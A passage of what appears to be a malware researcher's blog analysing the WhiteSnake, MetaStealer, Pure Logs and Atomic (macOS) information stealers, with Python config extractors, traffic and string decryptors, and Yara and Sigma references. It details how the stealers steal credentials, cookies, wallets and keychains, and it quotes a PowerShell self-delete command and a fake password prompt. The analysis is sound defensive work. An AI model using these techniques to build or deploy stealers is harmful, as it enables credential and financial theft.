if opcode_sequence[i:i+len(target_opcode_sequence)] == target_opcode_sequence:
return True
return False
ldstr_counter = 0
decrypted_strings = []
for type in module.GetTypes():
for method in type.Methods:
if method.HasBody and has_target_opcode_sequence(method):
instructions = list(method.Body.Instructions)
for i, instr in enumerate(instructions):
# Only consider ldstr instructions
if instr.OpCode == OpCodes.Ldstr:
ldstr_counter += 1
if ldstr_counter > 21:
if instr.Operand == '1' or instr.Operand == '0':
decrypted_strings.append(instr.Operand)
elif i + 1 < len(instructions):
encrypted_data = instr.Operand
rc4_key = instructions[i + 1].Operand
if isinstance(encrypted_data, str) and isinstance(rc4_key, str):
decrypted_data = Ichduzekkvzjdxyftabcqu(encrypted_data, rc4_key)
if decrypted_data:
decrypted_strings.append(decrypted_data)
xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)
if xml_declaration_index isnot None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
offsets = [(11, "RSAKeyValue"), (12, "Mutex"), (13, "Build Tag")]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
offsets = [
(10, "Telgeram Bot Token"),
(9, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"),
(2, "Stealer Folder Name"),
(3, "Stealer Version"),
]
features = [
(4, "Local Users Spread"),
(5, "USB Spread"),
(6, "Auto Keylogger"),
(7, "Execution Method"),
(8, "AntiVM"),
]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in features if xml_declaration_index >= o}
for o, n in features:
status = 'Enabled' if config_data.get(o, '0') == '1' else 'Not Enabled'
print(f"{n}: {status}")
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" notin data and "www.w3.org" notin data:
print("C2: " + data)
I am not providing the hashes for the newest version to keep the anonymity and to avoid stealer developer hunting me down. You can access both of the configuration extractors on my GitHub page
Summary
Personally, I think, WhiteSnake Stealer is undoubtedly one of the leading stealers available, offering numerous features and ensuring secure log delivery and communication. Probably one of my favorite stealers that I have ever analyzed so far. As always, your feedback is very welcome 🙂
MetaStealer made its debut on Russian hacking forums on March 7, 2022. The stealer is said to incorporate the functionality, code, and panel of Redline Stealer. The developer claims to have improved the stub of the payload. It is priced at $150 per month, mirroring the price of Redline Stealer.
Note: Some samples of MetaStealer have been found in sandbox platforms like Triage, Joe Sandbox, Any.run and classified as Redline or “another” MetaStealer” that appears to be written in C++. You can find an example here. Additionally, SentinelOne has reported a separate MetaStealer targeting MacOS devices that is written in Golang. It’s important to note that these are not the same malware variants. To clarify, the MetaStealer I am analyzing is written in C#.
The developer of MetaStealer actively advertises crypter[.]guru crypting services for their stealer users, as can be seen in the screenshot below.
I will provide a brief overview of some of the stealer’s functionalities, but we won’t delve into extensive detail as it shares many similarities with Redline Stealer. For a more comprehensive analysis, you can refer to my Redline writeup here
Technical Analysis
The generated MetaStealer build is automatically obfuscated with Confuser Core 1.6.0. Notably, the binary description contains the text “METRO 2022 Dev,” suggesting that the malware developer may be a fan of the Metro franchise 🙂
I proceeded with cleaning up the sample a bit to make it more readable and reversible. We go to the entry point of the binary and notice some interesting code within class “MainFrm” and “ReadLine” methods. Within “ReadLine” method, we see a while loop that continues as long as a boolean variable flag is false. Inside this loop, it calls StringDecrypt.Read(Arguments.IP, Arguments.Key), which retrieves two arguments IP and key. The retrieved data is split into an array of strings using the “|” character as a delimiter.
The Read method takes two string parameters, b64 and stringKey. The method first checks if the b64 parameter is null, empty, or consists only of white-space characters (if (string.IsNullOrWhiteSpace(b64)). If b64 is not null or white-space, the method performs a series of operations:
It first decodes b64 from Base64 format. The result of this decoding is a string (StringDecrypt.FromBase64(b64)).
It then applies an XOR operation to the decoded string using stringKey as the key.
The result of the XOR operation is then decoded again from Base64 format.
Looking at the Arguments table, we can see some interesting base64-encoded strings:
This is StringDecrypt class, where XOR decryption takes place:
For each character in input, it performs an XOR operation with the corresponding character in stringKey as shown in the Arguments table. The index for stringKey is determined by i % stringKey.Length, ensuring that if stringKey is shorter than input, it will repeat from the very beginning. The exact similar string encryption is used for Redline as well.
Upon decrypting the string in CyberChef, we get the C2 IP and the port number.
Next, we will look at method_03. The code is responsible for setting up network communication.
It attempts to establish a network channel to a remote endpoint specified by the address argument. This involves creating a ChannelFactory with a specific binding and endpoint address.
It then sets up credentials and bypasses certificate validation.
Next, it adds an “Authorization” message header with a hardcoded value (token/key) that is likely for authentication purposes (for example, {xmlns=”ns1”>ead3f92ffddf3eebb6b6d82958e811a0})
It then returns true if the connection setup is successful, false if any exception occurs
method_0 contains MSValue1, which is a call to a method on a WCF (Windows Communication Foundation) service channel and the connector object is a proxy facilitating the remote method invocation.
Next, we will reach method_2:
It calls this.connector.OnGetSettings(), which seems to be a method call to obtain some data from C2. The result is assigned to the msobject variable. OnGetSettings method is responsible for retrieving settings data and packaging it into an instance of the MSObject18 class.
Each MSValue (MSValue10, MSValue11, MSValue12 etc.) stores the configuration retrieved from C2:
MSValue11 – stores the paths to the “User Data” folder for various browsers and applications such as Steam and Battle.net to steal the sensitive information from:
Let’s look at the Redline sample where it stores the configuration from the sample I analyzed at the end of 2022 and MetaStealer. We can see that MetaStealer is using MSObject* instead of Entity* objects as well as MSValue* instead of Id*. MetaStealer also uses a different type of collections. Redline Stealer uses *System.Collections.Generic.IEnumerable {Entity16[]}* , which represents a sequence of items of type *Entity16*, and the data shown is an array of *Entity16* objects. Metastealer uses *System.Collections.Generic.List*, which represents a dynamic list of strings.
Next, MetaStealer proceeds with decrypting the binary ID, which is the same XOR algorithm described earlier for retrieving the IP address. Further down, I stumbled across the code that is responsible for extracting the data from the byte array and performing the string replacement. Thanks @cod3nym for pointing out that it’s part of ConfuserEx default constant encryption runtime.
Some of the retrieved strings are then getting replaced:
The stealer retrieves the memory with the WMI query SELECT * FROM Win32_OperatingSystem. Next, it retrieves the Windows version via the registry:
Interestingly enough, the stealer checks if the directory at the AppData\Local\ElevatedDiagnostics path exists. If the directory does not exist, it creates the directory. If the directory exists, it then checks if it was created more than 14 days ago (by comparing the directory’s creation time to the current time minus 14 days). If the directory is older than 14 days, it deletes and recreates it. This stealer might be trying to clean up old diagnostic reports to hide any traces of execution.
The code below is responsible for screenshot capture.
GetVirtualDisplaySize method retrieves the size of the virtual display on a system, which encompasses all the screen area across multiple monitors
GetImageBase method is designed to capture an image of the virtual display. First, it retrieves the virtual display size using the GetVirtualDisplaySize method. It then creates a new Bitmap object with the dimensions of the virtual display.
ConvertToBytes method is used to convert an Image object to a byte array, presumably for storage or transmission. If the provided image is not null, it saves the image into a MemoryStream in PNG format. The contents of the memory stream are then converted to a byte array.
MetaStealer uses the WMI query SELECT * FROM Win32_DiskDrive to retrieve information (Serial number) of the physical disk drives.
The code below computes an MD5 hash based on the user’s domain name, username, and serial number retrieved from the query above. The GetHexString method is used to convert bytes into a hexadecimal representation. It processes each byte in the byte array, converting every 4 bits into a hexadecimal character and adds hyphens after every 2 characters (equivalent to every 4 hexadecimal digits) in the generated hash) and then removes them (for example 4E6B8D28B175A2BE89124A80E77753C9). The result is stored in MSValue1 within MSObject7. This will be the HWID value.
The stealer proceeds with enumerating the infected system for FileZilla (C:\Users\username\AppData\Roaming\FileZilla\recentservers.xml). Next, it enumerates AV products using the following WMI queries:
SELECT displayName FROM AntiVirusProduct
SELECT displayName FROM AntiSpyWareProduct
SELECT displayName FROM FirewallProduct
The stealer then proceeds with enumerating the directories for VPN apps such as NordVPN, OpenVPN Connect, ProtonVPN within FileScannerRule class. It retrieves a list of FileInfo objects by scanning a directory specified by msobject.MSValue1 using the EnumerateFiles method. The SearchOption parameter determines whether the search is recursive (SearchOption.AllDirectories) or limited to the top directory only (SearchOption.TopDirectoryOnly).
The stealer retrieves information about running processes via the query SELECT * FROM Win32_Process Where SessionId=’“ as well as the command line for each process:
Search method is responsible for searching for files within certain directories (Windows, Program Files, Program Files (x86)). The BaseDirectory is where the search begins, for example, “C:\Users\username\AppData\Local\Battle.net”.
GetBrowser method gets the information on the installed browsers on the infected machine. 1. It attempts to access the Windows Registry to retrieve information about web browsers installed on the system. It opens a specific Registry key path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet This key is used to store information about web browsers on 64-bit Windows systems. If the first attempt to open the key is unsuccessful, it falls back to opening a similar key path without the “WOW6432Node” part under HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet (32-bit Windows systems). After successfully opening the appropriate Registry key, it retrieves the names of its subkeys (which represent different web browsers) using the GetSubKeyNames() method. Within the loop of iterating through the list of browsers, it creates an instance of an object named MSObject4, which is used to store information about each web browser. The stealer opens a subkey under the current browser’s key path, which corresponds to the “shell\open\command” key, to retrieve the command line associated with launching the browser. This command line is stored in msobject.MSValue3. It then checks if msobject.MSValue3 is not null and then retrieves the file version of the browser executable using FileVersionInfo.GetVersionInfo(msobject.MSValue3).FileVersion.
The processor information is retrieved via the query SELECT * FROM Win32_Processor”* within *GetProcessors method.
The list of installed programs is retrieved within ListofPrograms method by accessing the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.
The basic information gathered such as the timezone, the build ID, stealer name, username, Windows version, screen size, MD5 hash (based on the user’s domain name, username, and serial number), language settings are stored under results variable and the stealer configuration is stored under settings variable.
Here is the snippet of the C2 communication with MetaStealer:
Redline for comparison:
So how do you differentiate between two stealers if they are very similar? That’s right, the easiest way is probably based on traffic. The traffic for MetaStealer would slightly be different than for Redline Stealer. MetaStealer would have the indicator hxxp://tempuri.org/Contract/MSValue1 as well as MSValue1, MSValue2, etc., whereas Redline Stealer will have hxxp://tempuri.org/Entity/Id1.net as well as Id1, Id2, etc.
As for the binary, we can also look for Id, MSValue, Entity, MSObject patterns like in the screenshot below:
View of the Settings panel:
The Domain Detector settings are used to sort the logs out based on specific domains, the captured logs configured will be displayed as PDD (if the domain is found in credentials), CDD (if the domain is found in cookies) in the Logs panel as well as generated in the Logs file as DomainsDetected.txt. The Misc section allows the user to clone the certificate of the binary and file information and apply it to the stealer build as well as to increase the file size and apply VirusTotal leak monitoring (to monitor if the file is submitted to VT).
Black Lists section allows the user to blacklist countries (it’s worth noting that. compared to Redline, MetaStealer Stealer does not have an anti-CIS (Commonwealth of Independent States) feature) that prevents the stealer from running in CIS countries), IPs, HWIDs and build IDs.
Binder/Crypt section allows the user to bind/merge binaries and obfuscate them with ConfuserEx. The user then can launch the merged binary from the disk or directly in memory with process hollowing using the following APIs:
CreateProcessInternalW
ZwUnmapViewOfsection
ZwaAllocateVirtualMemory
ZwWriteVirtualMemory
ZwGetThreadContext
LocalFree
ZwSetContexThread
ZwResumeThread
ZwClose
We can test run the Yara rule that I provided at the end of this article for MetaStealer relying specifically on strings that are unique to MetaStealer on unpac.me. After the successful scan, we see 216 matches and 138 of them are detected as “Redline”
Pure Logs Stealer first appeared on hacking forums at the end of October 2022. The stealer is developed by a malware developer going under the alias PureCoder.
The malware developer is also behind in developing the products shown above, such as Pure Miner, Pure Crypter, Pure hVNC, Blue Loader, and other products, including HWID reset, Discord DM Worm, and Pure Clipper.
The malware developer periodically pushes updates to their products. The
The view of the File Grabber panel:
The view of the File Builder panel:
The stealer can be purchased automatically via the Telegram Bot without interacting directly with the malware developer/seller.
Before diving into the technical part, I want to thank cod3nym for helping with the crypter and getting additional stealer samples.
Technical Analysis
Pure Logs Stealer comes crypted using their own Pure Crypter product. The stealer allegedly has antiVM, self-delete, persistence, file grabber, and file loader features, but the features currently do not work as expected within the stealer. The self-delete feature removes the stealer payload via PowerShell command **powershell Start-Sleep -Seconds 10; Remove-Item -Path ’“”‘ -Force”**.
The persistence is added via Registry Run Keys (T1547.001).
I will not go through the layers of unpacking and just go straight to the core payload, which is our Pure Logs stealer. The stealer is 64-bit and is slightly over 2MB in size. It is topped with Eazfuscator.NET, which obviously is a .NET obfuscator, as shown in the image below.
The stealer creates the folder under %TEMP%\Costura\1485B29524EF63EB83DF771D39CCA767\64** and drops the file **sqlite.interop.dll that is one of the dependencies for the stealer, likely facilitating access to the browser data.
The Main method within the PlgCore class loads the C2 address, and build ID (the default build ID is Default) as one of the arguments from the crypter, the other one is the value that will be used along with MD5 to generate the 3DES key for data encryption, but we will through that later in the article.
The stealer gets the host information, including the version of the OS, via WMI, specifically SELECT * FROM win32_operatingsystem statement. If neither 32-bit nor 64-bit OS systems cannot be determined, the OS is marked as “unknown”, the same goes for the username, machine name, antivirus products, the working directory (the path from where the stealer was launched), etc., enumeration.
It gets BIOS information via Win32_BaseBoard. ProcessorId and CPU information via Win32_Processor. The ProcessorId and CPU information are then used to generate an MD5 hash, which will be the HWID marker in the stealer’s log file for the infected machine.
The username and the HWID are separated by an underscore and displayed in the panel in the format “username_hwid”, as shown below.
Next, the stealer splits at the pipe the gathered information via SELECT * FROM win32_operatingsystem , specifically under the value Name, and likely grab only the Windows Version value to parse it to the stealer’s log file.
The query for antivirus products is performed via Select * from AntivirusProduct statement.
The method below captures a screenshot of the entire primary display screen of the infected host and converts it into a JPEG image format, returning the image as a byte array.
The method below gets the content of the clipboard.
The GPU information is accessed via Win32_VideoController under the Name value. The RAM value is accessed via Win32_ComputerSystem under the TotalPhysicalMemory value.
The method below is responsible for getting the screen size. It gets the dimensions of the display screen of the computer using Screen.GetBounds(Point.Empty)
The list of the cryptowallet extensions to be enumerated and collected by the stealer:
Some of the data collected from Chromium-based browsers and the mention of encrypted_mnemonic is shown in the image below. encrypted_mnemonic most likely stores a securely encrypted version of a mnemonic seed phrase, which is essential for accessing or recovering cryptowallets.
For Gecko-based applications such as:
Mozilla\Firefox
Waterfox
K-Meleon
Thunderbird
Comodo\IceDragon
8pecxstudios\Cyberfox
NETGATE Technologies\BlackHaw
Moonchild Productions\Pale Moon
The stealer uses specific queries, for example, “SELECT * FROM moz_bookmarks” , the query that interacts with the SQLite database used by Mozilla Firefox for storing user bookmarks. For Gecko-based applications, the stealer accesses file logins.json, which Mozilla Firefox uses to store saved login information, including usernames and passwords for websites, as shown below.
The method below is responsible for extracting, processing, and decrypting credential information from specific registry paths related to Outlook profiles. The regex patterns are used to validate server names and email addresses.
The following Outlook registry paths are enumerated:
The snippet below is the method responsible for grabbing Discord data. The method iterates through directories associated with different Discord builds (discord, discordcanary, discordptb).
It searches for directories containing local storage data (specifically in the leveldb folder).
The method calls \uE002 to extract certain data from the local storage files (ldb, log, sqlite)
If any data is found, it attempts to make web requests to Discord API endpoints using these tokens. The regular expressions in the image below is created to match patterns that resemble Discord authentication tokens.
Funny fact: all Discord tokens start with dqw4w9wgxcq, let’s not get rickrolled …
Interestingly enough, Pure Logs Stealer also collects Windows product key and stores it under a separate log file named App_Windows Serial Key.txt. It accesses the key via the registry SOFTWARE\Microsoft\Windows NT\CurrentVersion under the value DigitalProductId.
I renamed each method so it is easy to visualize what type of data the stealer collects:
As you can see from the above image, the most current stealer version is v3.1.3, and some additional sensitive data is collected from the following applications:
FileZilla
WinSCP (collects username, and passwords)
Foxmail
Telegram
Pidgin
Signal
InternetDownloadManager (IDM) (collects email addresses, first name, last name and serial number)
OBS Studio (collects profiles data)
Ngrok (collects ngrok.yml)
OpenVPN
ProtonVPN
I will leave it to you to explore what files it collects from some of the applications mentioned above.
The example of the logs folder is shown below:
It is worth noting that after successfully executing, the stealer creates a registry subkey under HKU:\Software with the HWID value.
C2 Communication
The stealer uses a Socket for TCP/IP communication. It sets up a TCP/IP socket and attempts to connect to a server, and if the connection is successful, it begins receiving data. It continuously tries to connect, with a 5-second delay between attempts, in case of initial failure. The default port for communication is 7702, but that can be changed.
Before sending the actual data to C2, it sends the data size as shown below.
The exfiltrated data is sent at once instead of in separate parts, which impacts the successful infection. The attacker will not receive any data if the communication is interrupted at a certain point. It is worth mentioning that stealers such as Raccoon Stealer send the data in parts to the C2 server, so in case of network interruption, at least some data is exfiltrated.
As it was briefly mentioned before, Pure Logs Stealer uses 3DES for data encryption that is sent over to C2. The 3DES key is derived from the value supplied as one of the parameters along with the C2 IP address in the stealer payload.
The Python implementation to decrypt the traffic:
# Author: RussianPanda
import gzip
import binascii
from Crypto.Cipher import DES3
from Crypto.Hash import MD5
from Crypto.Util.Padding import unpad
# Decrypt data using 3DES with MD5 hash of a key string
defdecrypt_3des(encrypted_data_hex, key_string):
encrypted_data = binascii.unhexlify(encrypted_data_hex)
md5_hash = MD5.new()
md5_hash.update(key_string.encode('utf-8'))
key = md5_hash.digest()
cipher = DES3.new(key, DES3.MODE_ECB)
# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)
decrypted_data_unpadded = unpad(decrypted_data, DES3.block_size)
return decrypted_data_unpadded
defdecompress_gzip(data):
data_without_length = data[4:]
decompressed_data = gzip.decompress(data_without_length)
return decompressed_data
encrypted_data_hex = ""
# Key string used for encryption
key_string = ""
# Decrypt the data
decrypted_data = decrypt_3des(encrypted_data_hex, key_string)
decompressed_data = decompress_gzip(decrypted_data)
# Saving the decompressed data to a file
output_file = "decrypted_data.bin"
with open(output_file, 'wb') as file:
file.write(decompressed_data)
print(f"Decompressed data saved as {output_file}")
Conclusion
Despite the obfuscation and layers of unpacking, Pure Logs Stealer is similar to other .NET stealers and does not possess any special functionalities. The effectiveness of its file grabber and file loader features remains to be questioned.
Detection Rules
You can access the Yara detection rule for Pure Logs Stealer here.
You can access the Sigma detection rule for Pure Logs Stealer here.
Previously, I wrote a blog going through some of MetaStealer’s functionalities and did a brief comparison with Redline since they are both very similar but, at the same time, different. You might say that all stealers are the same because they have one purpose – to steal. However, each of them is somewhat different from the others, even if they borrowed the code from their predecessors.
Every stealer tries to be better than the other one despite having similar code and functionality. What is considered a good stealer? The stealer has a low detection rate and a high rate of successful infection, or what we call “отстук” in Russian. Stealers such as Redline, Metastealer, Raccoon Stealer, Lumma, RisePro, and Vidar have earned their names in the stealer market. Below is the list of top stealers’ whose logs are being sold on RussianMarket.
The popularity of mentioned stealers among users, mainly those developed by native Russian speakers, could be attributed to the ease of communication and support in their native language. As you might have noticed, stealers are notably prevalent among Russian-speaking communities. The ability to interact in one’s native language – whether it is to request new features, report issues, or inquire about the functionality of the stealer – significantly simplifies the process compared to the effort required for translation into English. This linguistic accessibility potentially broadens the client base, offering the stealer more opportunities to attract additional users.
The world of stealers is rife with drama, much like any other corner of the cybercriminal ecosystem. I was recently informed about an incident related to the Santa Barbara topic on XSS forums. This topic was created by one of Lumma’s former coders, coinciding with Lumma’s one-year anniversary. To put it briefly, Lumma’s founder did not adequately recognize or compensate the coder’s contributions, leading to dissatisfaction and underpayment.
Another drama story: some of you might know how Aurora Stealer left the market before their infamous botnet release; some users deposited money for the botnet and never got it back, of course. Now, Aurora has become a meme within the stealer’s community.
In July 2023, an advertisement was posted on XSS forums for a new stealer written in Golang, known as “EasyStealer”, then the rumors started spreading among the stealer’s community that this was the work of an Aurora developer, now the stealer is nowhere to be found.
Does all of this impact the sales of stealers? Not at all. People continue to purchase stealers as long as their functionality meets their requirements.
Google Cookie Refresher “feature” or a “0day”
So, you’ve likely heard about the ongoing Google “0day” vulnerability, which allows attackers to obtain fresh cookies, granting them “indefinite” access to Google accounts. It is a rather convenient “feature,” isn’t it? However, it is also quite dangerous because an attacker would be able to get fresh cookies to Google accounts each time the old ones expire.
As @g0njxa mentioned, the feature is abused by many stealers, including RisePro, MetaStealer, Whitesnake, StealC, Lumma, Rhadamanthys, and Meduza. Additionally, as of December 29th, Vidar Stealer has implemented this feature.
The question of how long it will take Google to respond to this issue remains unanswered. However, this situation presents even more opportunities for stealers to take advantage of the vulnerability.
The reason why I brought this up is how easily it can be exploited with just a few lines of Python code that includes the decrypted token value, account ID, and the proper request to the server if some people are curious enough to find out. Although, certain parameters need to be slightly tweaked from the server’s response to make it work. Here is my video with proof-of-concept on how it works on a high level. I have created a video demonstrating the proof-of-concept at a high level. For ethical reasons, I will not delve into the technical details of the POC.
MetaStealer Part 2: Technical Analysis
In November 2023, I released the writeup on MetaStealer. However, soon after its release, the malware developer made another update that changed the class names, string encryption algorithm, binary description, and file icon.
MetaStealer new version is approximately 368KB in size with the binary description Cavils Corp. 2010 (the previous one was METRO 2022 Dev).
The logo change:
If previously, MetaStealer used “Entity” for class names; now it’s using “Schema” and “TreeObject” to store data and configurations instead of MSValue.
Instead of string replacement operations, it now accesses a decrypted string from an array based on the given index. For example, below, where it uses ManagementObjectSearcher class to query system management information. The constructor of ManagementObjectSearcher takes two parameters: a WMI query path and a query string, for example “ROOT\SecurityCenter: SELECT * FROM AntivirusProduct”.
The new string decryption algorithm works the following way:
First, the base64-encoded string gets base64-decoded and XOR’ed with the hardcoded key (in our example, it is Crayfish); the XOR’ed string then gets base64-decoded again.
Each XOR’ed and base64-decoded string is assigned as an AES key and IV (Keys[1] and Keys[2]).
The encrypted byte arrays are then reversed and decrypted using the keys and IV mentioned above
To save us some time, we can use the dynamic approach to decrypt the strings using dnlib. The wonderful approach was detailed by @n1ghtw0lf in this blog. Also, I want to thank @cod3nym for amazing tips when it comes to dealing with .NET shenanigans!
Here are the steps to decrypt the strings:
We will use dnlib, a library for reading and writing .NET assemblies to load a .NET module and assembly from a given file path.
We will define the decryption signature (decryption_signature) to identify methods that are likely used for decryption. This signature includes the expected parameters and return type of the decryption methods.
We will search the loaded assembly for methods that match the defined decryption signature.
deffind_decryption_methods(assembly):
suspected_methods = []
flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic
for module_type in assembly.GetTypes():
for method in module_type.GetMethods(flags):
for sig in decryption_signature:
if method_matches_signature(method, sig):
suspected_methods.append(method)
return suspected_methods
Finally, we will invoke the suspected decryption methods by scanning the assembly’s methods for calls to the suspected decryption methods, extracting the parameters passed to these methods, and invoking the decryption methods with the extracted parameters.
definvoke_methods(module, suspected_methods):
results = {}
for method in suspected_methods:
for module_type in module.Types:
ifnot module_type.HasMethods:
continuefor m in module_type.Methods:
if m.HasBody:
for insnIdx, insn in enumerate(m.Body.Instructions):
if insn.OpCode == OpCodes.Call:
called_method_name = str(insn.Operand)
if method.Name in called_method_name:
params = extract_parameters(m.Body.Instructions, insnIdx, method)
if len(params) == len(method.GetParameters()):
try:
result = invoke_method_safely(method, params)
if result isnot None:
location = f"{module_type.FullName}.{m.Name}"
results[location] = result
except Exception as e:
None
return results
We will also include the logic to handle different types of parameters, such as integers and strings. It uses get_operand_value to extract values from method instructions based on their type.
defget_operand_value(insn, param_type):
if "Int32" in param_type and insn.IsLdcI4():
return Int32(insn.GetLdcI4Value())
elif "String" in param_type and insn.OpCode == OpCodes.Ldstr:
return insn.Operand
return None
Note: Please run the script strictly in a sandbox environment.
The output of the script (tested on the deobfuscated sample MD5: e6db93b513085fe253753cff76054a2a):
You might have noticed an interesting base64-encoded string in the output above.
Upon decoding, we receive a .NET executable qemu-ga.exe (MD5: e6db93b513085fe253753cff76054a2a).
Now, an interesting moment: MetaStealer writes that executable to the Startup after successfully receiving the configuration from the C2 server and collecting user information. The executable does not do anything but enters the indefinite loop that alternates between sleeping for 100 seconds and waiting for user input without doing anything with that input.
Another addition to the new version of MetaStealer is the username and computer name check to avoid sandbox environments; if any of the usernames/computer names are found in the list, the stealer process will exit.
Atomic Stealer is known to be the first stealer for MacOS devices, it first appeared on Russian hacking in March, 2023.
For 3000$ per month, the user gets the access to the panel. The user provides Telegram Bot ID and build ID to the seller and the user receives the build.
The stealer allegedly has the following functionalities and features:
Login Keychain dump
Extract system information
FileGrabber (from Desktop, Documents)
MacOS Password retrieval
Convenient web panel
MetaMask brute-forcer
Crypto-checker (tool to check the information on crypto assets)
Cyble identified the Go source code path containing the username iluhaboltov. That is not confirmed but might suggest that the developer’s name is Ilya Boltov.
Technical Analysis
In December 2023, Jérôme Segura published an article on the new version of Atomic Stealer circulating on the Internet. Unlike previous versions where the strings were in cleartext, in the new version of AMOS, all the strings are encrypted.
To cheat a little bit, we can look at the functionality of the previous Atomic Stealer to be able to recognize and interpret the actions for some of the decrypted strings in the newer versions.
In the previous version (MD5: bf7512021dbdce0bd111f7ef1aa615d5), AMOS implements anti-VM checks, the stealer executes the command system_profiler SPHardwareDataType. system_profiler is a command-line utility in macOS that provides detailed information about the hardware and software configuration of the Mac device. It’s the command-line equivalent of the “System Information” on Windows and MacOS machines that users can access through the GUI. SPHardwareDataType is a specific data type specifier for the system_profiler command, it instructs the utility to display information related only to the hardware of the system, such as processor name, number of processors, model name, hardware UUID, serial number, etc. If it detects VMware or Apple Virtual Machine – the program exits. If not, the collected information is passed to /Sysinfo.txt.
The FileGrabber in the previous version grabs files with the following extensions from Desktop and Documents folder:
txt
rtf
xlx
key
wallet
jpg
png
web3
The ColdWallets function grabs the cold wallets. Cold wallets often referred to as “cold storage,” is a method of storing cryptocurrencies offline.
GrabChromium function is responsible for grabbing data such as AutoFill, Web Data, Login Data, Wallets, Password, Local Extension Settings data from Chromium-based browsers such as Microsoft Edge, Vivaldi, Google Chrome, Brave, Opera within ~/Library/Application Support/ path.
keychain function is responsible for retrieving pbkdf2 key from the keychain location. In the screenshot below we can see the pass() being executed if the result of dscl command is not an empty string (“dscl /Local/Default -authonly “, additional parameters are passed to the command including username and an empty password), which means that it would likely fail the authentication.
The pass function is responsible for prompting user to enter the password for the device by displaying a message dialog “macOS needs to access System settings %s Please enter your password.” with osascriptwith title “System Preferences”: Sets the title of the dialog window to System Preferences. The dialog will automatically close after 30 seconds if the user doesn’t interact with it. After retrieving a password with GetUserPassword from the dialog box, the function checks if the returned password is not an empty string and if the password is not empty, the function then calls getpass with the entered password. getpass will try to authenticate with entered password and if it returns 0, which means that the password was entered incorrectly, the user gets “You entered an invalid password” display message.
Once a valid password is entered, the function proceeds with writing the password to /Users/run/{generated_numeric_value}/password-entered , based on my understanding. The path with the numeric value is generated using the function below where the stealer gets the current time of the device and then seeds the current time with the random number generator.
The function then checks if the user’s keychain file (login.keychain-db) exists. If it does, it copies this keychain file to a new location specified by /Users/run/{generated_numeric_value}/login-keychain. The Login Keychain acts as the primary storage file in macOS, where it keeps a majority of the passwords, along with secure notes and various other sensitive pieces of information.”
Let’s come back to pbkdf2 key: in order to grab the key, the stealer executes the command:
The output is compared against the string SecKeychainSearchCopyNext. SecKeychainSearchCopyNext is a macOS API function used to find the next keychain item that matches given search criteria. If the output is not SecKeychainSearchCopyNext, the code constructs a file path under /Chromium/Chrome and then writes the extracted key into a file named Local State. The pbkdf2 key serves as an essential component for password decryption in Chrome.
Within function dotask(), after collecting data from functions (it’s worth mentioning that the data collected are appeared to be stored at /Users/run/{generated_numeric_value}):
GrabChromium()
keychain()
systeminfo()
FileGrabber()
GrabFirefox()
ColdWallets()
The stealer uses ditto, a command-line utility on macOS that’s used for copying, creating and extracting files, directories and archives, to archive the retrieved logs and sends them over to the command-and-control server. The command used to archive the files: “ditto -c -k –sequesterRsrc –keepParent”. The zip archive name is the same as the randomly generated numeric value that is present in the path mentioned above.
The example of the archived logs:
The logs are then sent to the Command and Control (C2) server using a POST request to the /sendlog endpoint.
New Version of AMOS
In the new version of AMOS, the string are encrypted using series of XOR operations shown in the image below.
Let’s briefly go through it:
The algorithm first checks a specific condition based on the 10th byte of the array. If this byte (when treated as a binary value) has its least significant bit set to 0 (meaning it’s an even number), the decryption process proceeds.
The algorithm iterates through a portion of the byte array, starting from a specific position. In each iteration, it compares the current byte with the following byte and depending on how the current byte relates to the next byte, different XOR operations are applied. These operations are:
If the current byte is one less than the next, XOR it with the next byte plus 1.
If the current byte is two less than the next, XOR it with the next byte plus 2.
If the current byte equals the next byte, XOR it with the current index minus 4 (this value is different for each encrypted string)
If the current byte is four less than the next, XOR it with the next byte plus 3.
If the current byte is five less than the next, XOR it with the next byte plus 4.
After applying the XOR operation, the current byte is incremented by 1, and the algorithm moves to the next byte.
This whole process continues until a certain condition is met (like reaching a specific array index), signifying the end of the encrypted data.
After struggling to understand why I was failing to reproduce the decryption algorithm from C to Python, @cod3nym helped me to figure out that the solution involved using ctypes.
So, using that information, I wrote the IDAPython script to decrypt the strings, so I don’t have to manually enter each of them in 😀 The script is pretty wonky, but it does the job. You can access the script here.
AMOS uses mz_zip_writer_add_mem, Miniz compression, for archiving the extracted logs.
send_me function is responsible for sending the logs in a ZIP archive over to C2 to port 80 using the hardcoded UUID 7bc8f87e-c842-47c7-8f05-10e2be357888. Instead of using /sendlog as an endpoint, the new version uses /p2p to send POST requests.
passnet function is responsible for retrieving the pbkdf2 from Chrome, the stealer calls it masterpass-chrome.
pwdget function is responsible for retrieving the password of the MacOS device via the dialog “Required Application Helper. Please enter passphrase for {username}” as shown below.
myfox function is responsible for retrieving Firefox data such as:
/cookies.sqlite
/formhistory.sqlite
/key4.db
/logins.json
Compared to the previous version, the new version gathers not only information about hardware but also system’s software and display configurations with the command system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType.
The FileGrabber functionality is shown in the image below.
FileGrabber has several functionalities:
It sets a destination folder path named fg in the home folder of the current user (/Users/{username}). If this folder doesn’t exist, it creates it. It then defines a list of file extensions (“txt”, “png”, “jpg”, “jpeg”, “wallet”, “keys”, “key”) to filter files for later operations. It initializes a variable “bankSize” to 0, possibly intended to keep track of the total size of files processed.
Next, it proceeds with retrieving the path to Safari’s cookies folder and tries to duplicate the Cookies.binarycookies file from Safari’s folder to the destination folder. This file contains Safari browser cookies.
For processing notes data it attempts to duplicate specific Notes database files (“NoteStore.sqlite”, “NoteStore.sqlite-shm”, “NoteStore.sqlite-wal”) to the destination folder. These files contain user’s notes.
